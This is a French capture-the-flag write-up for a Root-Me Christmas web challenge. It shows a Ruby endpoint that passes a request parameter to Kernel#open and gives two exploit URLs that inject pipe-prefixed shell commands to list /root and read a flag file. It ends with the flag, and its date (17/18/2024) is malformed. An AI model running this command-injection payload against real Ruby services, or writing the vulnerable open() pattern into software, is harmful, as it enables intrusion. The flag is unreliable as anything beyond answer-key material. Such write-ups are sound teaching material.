✅ Day 18 - Santa's sweet words

  • WEB
  • Date de résolution : 17/18/2024

Reconnaissance

Le challenge est un site web développé en Ruby.
En lisant le source, on trouve une API message :

 1get '/api/message' do
 2  number = params[:number]
 3
 4  file_name = "#{number}.txt"
 5
 6  content = open(file_name, "rb") { |f| f.read }
 7  content_type 'application/octet-stream'
 8  attachment file_name
 9  body content
10end

Il semble possible d'injecter pour modifier le PATH...
Perso, je ne fais pas du ruby, tous les jours, donc on va lire la doc, et on trouve : If path starts with a pipe character (“|”), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

##Exploit

Attaque en HTTP GET directe :

  • https://day18.challenges.xmas.root-me.org/api/message?number=|pwd%3B%20ls%20-la%20/root%3B%20
  • https://day18.challenges.xmas.root-me.org/api/message?number=|pwd%3B%20cat%20/flag-ruby-expert.txt%3B%20
FLAG

The flag is : RM{Why_d0esn't_Open_Ju5t_Op3n_in_rUbY??}